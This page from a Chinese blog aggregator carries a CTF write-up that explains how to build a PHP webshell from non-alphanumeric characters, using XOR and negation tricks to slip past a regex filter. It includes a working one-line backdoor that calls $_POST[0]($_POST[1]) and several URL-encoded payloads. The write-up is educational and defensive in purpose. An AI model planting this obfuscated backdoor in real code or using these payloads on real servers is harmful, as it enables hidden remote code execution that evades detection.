首页 文章 精选 留言 我的

精选列表

搜索[过拟合],共10000篇文章
优秀的个人博客,低调大师

记一次拿webshell踩过的坑(如何用PHP编写一个不包含数字和字母的后门)

0x01 前言 最近在做代码审计的工作中遇到了一个难题,题目描述如下: <?php include 'flag.php'; if(isset($_GET['code'])){ $code = $_GET['code']; if(strlen($code)>40){ die("Long."); } if(preg_match("/[A-Za-z0-9]+/",$code)){ die("NO."); } @eval($code); }else{ highlight_file(__FILE__); } //$hint = "php function getFlag() to get flag"; ?> 这一串代码描述是这样子,我们要绕过A-Za-z0-9这些常规数字、字母字符串的传参,将非字母、数字的字符经过各种变换,最后能构造出 a-z 中任意一个字符,并且字符串长度小于40。然后再利用 PHP允许动态函数执行的特点,拼接处一个函数名,这里我们是 "getFlag",然后动态执行之即可。 那么,我们需要考虑的问题是如何通过各种变换,使得我们能够去成功读取到getFlag函数,然后拿到webshell。 0x02 前置知识铺垫 在理解这篇文章之前,我们首先需要大家了解的是PHP中异或(^)的概念。 我们先看一下下面这段代码: <?php echo "A"^"?"; ?> 运行结果如下: 我们可以看到,输出的结果是字符"~"。之所以会得到这样的结果,是因为代码中对字符"A"和字符"?"进行了异或操作。在PHP中,两个变量进行异或时,先会将字符串转换成ASCII值,再将ASCII值转换成二进制再进行异或,异或完,又将结果从二进制转换成了ASCII值,再将ASCII值转换成字符串。异或操作有时也被用来交换两个变量的值。 比如像上面这个例子 A的ASCII值是65,对应的二进制值是01000001 ?的ASCII值是63,对应的二进制值是00111111 异或的二进制的值是10000000,对应的ASCII值是126,对应的字符串的值就是~了 我们都知道,PHP是弱类型的语言,也就是说在PHP中我们可以不预先声明变量的类型,而直接声明一个变量并进行初始化或赋值操作。正是由于PHP弱类型的这个特点,我们对PHP的变类型进行隐式的转换,并利用这个特点进行一些非常规的操作。如将整型转换成字符串型,将布尔型当作整型,或者将字符串当作函数来处理,下面我们来看一段代码: <?php function B(){ echo "Hello Angel_Kitty"; } $_++; $__= "?" ^ "}"; $__(); ?> 代码执行结果如下: 我们一起来分析一下上面这段代码: `$_++; `这行代码的意思是对变量名为`"_"`的变量进行自增操作,在PHP中未定义的变量默认值为null,null==false==0,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字。 `$__="?" ^ "}"; `对字符"?"和"}"进行异或运算,得到结果B赋给变量名为"__"(两个下划线)的变量 `$ __ (); `通过上面的赋值操作,变量`\$__`的值为B,所以这行可以看作是B(),在PHP中,这行代码表示调用函数B,所以执行结果为Hello Angel_Kitty。在PHP中,我们可以将字符串当作函数来处理。 看到这里,相信大家如果再看到类似的PHP后门应该不会那么迷惑了,你可以通过一句句的分析后门代码来理解后门想实现的功能。 我们希望使用这种后门创建一些可以绕过检测的并且对我们有用的字符串,如_POST", "system", "call_user_func_array",或者是任何我们需要的东西。 下面是个非常简单的非数字字母的PHP后门: <?php @$_++;//$_=1 $__=("#"^"|");//$__=_ $__.=("."^"~");//_P $__.=("/"^"`");//_PO $__.=("|"^"/");//_POS $__.=("{"^"/");//_POST ${$__}[!$_](${$__}[$_]);//$_POST[0]($_POST[1]); ?> 在这里我说明下,.=是字符串的连接,具体参看php语法 我们甚至可以将上面的代码合并为一行,从而使程序的可读性更差,代码如下: $__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); 0x03 问题分析 对于文章开始遇到的那道难题,最开始我们的想法是通过构造异或来去绕过那串字符,但由于最后构造的字串远远超过了长度len=40,然后我们最后放弃了~~ 我们该如何构造这个字串使得长度小于40呢? 我们最终是要读取到那个getFlag函数,我们需要构造一个_GET来去读取这个函数,我们最终构造了如下字符串: ?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag 可能很多小伙伴看完前置知识后仍然无法理解这段字符串是如何构造的吧,我们就对这段字符串进行段分析 ①构造_GET读取 首先我们得知道_GET由什么异或而来的,经过我的尝试与分析,我得出了下面的结论: <?php echo "`{{{"^"?<>/";//_GET ?> 这段代码一大坨是啥意思呢?因为40个字符长度的限制,导致以前逐个字符异或拼接的webshell不能使用。这里可以使用php中可以执行命令的反引号` `和Linux下面的通配符? ?代表匹配一个字符 ` 表示执行命令 " 对特殊字符串进行解析 由于?只能匹配一个字符,这种写法的意思是循环调用,分别匹配。我们将其进行分解来看 <?php echo "{"^"<"; ?> 输出结果为: <?php echo "{"^">"; ?> 输出结果为: <?php echo "{"^"/"; ?> 输出结果为: 所以_GET就是这么被构造出来的 ②获取_GET参数 如何获取呢?咱们可以构造出如下字串: <?php echo ${$_}[_](${$_}[__]);//$_GET[_]($_GET[__]) ?> 根据前面构造的来看,$_已经变成了_GET。 顺理成章的来讲,$_ = _GET这个字符串。 我们构建$_GET[ __ ]是为了要获取参数值 ③传入参数 此时我们只需要去调用getFlag函数获取webshell就好了,构造如下: <?php echo $_=getFlag;//getFlag ?> 所以把参数全部连接起来,就可以了~~ ?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag 结果如下: 我们就成功读取到了flag~~ 补充 我似乎看到了一些大佬对这题的骚操作,我也补充一下吧~~ 有个payloads是这样子: ?code=$_=~%98%9A%8B%B9%93%9E%98;$_(); 这个是把getFlag取反然后URL编码 然后我们看看下一个payloads: ?code=%24%7B%7E%22%A0%B8%BA%AB%22%7D%5B%AA%5D%28%29%3B&%aa=getFlag ~ 在 {} 中执行了取反操作,所以${~"\xa0\xb8\xba\xab"}取反相当于$_GET,拼接出了$_GET['+']();,传入 +=getFlag() 从而执行了函数 再看看下面这种骚操作: code=$啊=(%27%5D%40%5C%60%40%40%5D%27^%27%3A%25%28%26%2C%21%3A%27);$啊(); $啊=getFlag;$啊();,这里就不需要用 {} 了,因为取反的值直接被当作字符串赋值给了 $ 啊。 下面这个是梅子酒师傅在评论区提供的一个payloads,我也补上: 0x04 扩展阅读 我给大家推荐几篇写的比较好的,方便大家能更进一步的理解这个东西。 https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html http://php.net/manual/zh/language.operators.increment.php 您可以考虑给博主来个小小的打赏以资鼓励,您的肯定将是我最大的动力。thx. 微信打赏 支付宝打赏 作 者: Angel_Kitty 出 处:http://www.cnblogs.com/ECJTUACM-873284962/ 关于作者:潜心机器学习以及信息安全的综合研究。如有问题或建议,请多多赐教! 版权声明:本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文链接。 特此声明:所有评论和私信都会在第一时间回复。也欢迎园子的大大们指正错误,共同进步。或者直接私信我 声援博主:如果您觉得文章对您有帮助,可以点击右下角【推荐】推荐一下该博文。您的鼓励是作者坚持原创和持续写作的最大动力!

优秀的个人博客,低调大师

我踩过的第一个坑,其实不是策略

我曾经遇到过一个非常典型的量化问题:回测结果看起来非常漂亮,策略上线以后却明显偏离预期。后来我发现,很多所谓的“策略失效”,根本原因并不在因子,而在于回测和实盘使用的行情数据并不是同一套口径。本文从数据时间、复权方式、标的代码和实时行情四个方面,拆解我在量化数据工程中如何定位并解决这类问题。

优秀的个人博客,低调大师

信创云上放一个分析型数据库:自建还是托管,等保三级这一关怎么过

政务、金融、央国企上云时,数据库这层通常要同时满足两个条件:跑在国产化基础设施上,以及能通过等保三级验收。这两个条件会直接决定部署形态——很多团队一开始想的是"买几台国产化云主机自己装一套",走到验收阶段才发现,云主机的国产化只解决了硬件与操作系统,等保三级里与数据库直接相关的那几类技术项,还得一件件在产品能力上落地。

优秀的个人博客,低调大师

#WorkBuddy# #AI办公# WSL2 Ubuntu 从装好到能用:换阿里云源、DNS 固化、编译工具链,我踩过的坑一次讲清

本篇是真实的 WSL2 环境初始化复盘。我是 Windows 用户,机器上跑着机器人仿真项目,WSL2 Ubuntu 是所有 Linux 工作的底座。这篇记录我用 WorkBuddy 把一台全新 Ubuntu 22.04 初始化到"日常可用"状态的完整过程:换国内镜像源、固化 DNS、补齐编译工具链。所有命令和输出都来自我本机真实执行,无虚构数据。

资源下载

更多资源
Mario

Mario

马里奥是站在游戏界顶峰的超人气多面角色。马里奥靠吃蘑菇成长,特征是大鼻子、头戴帽子、身穿背带裤,还留着胡子。与他的双胞胎兄弟路易基一起,长年担任任天堂的招牌角色。

Nacos

Nacos

Nacos /nɑ:kəʊs/ 是 Dynamic Naming and Configuration Service 的首字母简称,一个易于构建 AI Agent 应用的动态服务发现、配置管理和AI智能体管理平台。Nacos 致力于帮助您发现、配置和管理微服务及AI智能体应用。Nacos 提供了一组简单易用的特性集,帮助您快速实现动态服务发现、服务配置、服务元数据、流量管理。Nacos 帮助您更敏捷和容易地构建、交付和管理微服务平台。

Spring

Spring

Spring框架(Spring Framework)是由Rod Johnson于2002年提出的开源Java企业级应用框架,旨在通过使用JavaBean替代传统EJB实现方式降低企业级编程开发的复杂性。该框架基于简单性、可测试性和松耦合性设计理念,提供核心容器、应用上下文、数据访问集成等模块,支持整合Hibernate、Struts等第三方框架,其适用范围不仅限于服务器端开发,绝大多数Java应用均可从中受益。

WebStorm

WebStorm

WebStorm 是jetbrains公司旗下一款JavaScript 开发工具。目前已经被广大中国JS开发者誉为“Web前端开发神器”、“最强大的HTML5编辑器”、“最智能的JavaScript IDE”等。与IntelliJ IDEA同源,继承了IntelliJ IDEA强大的JS部分的功能。

用户登录
用户注册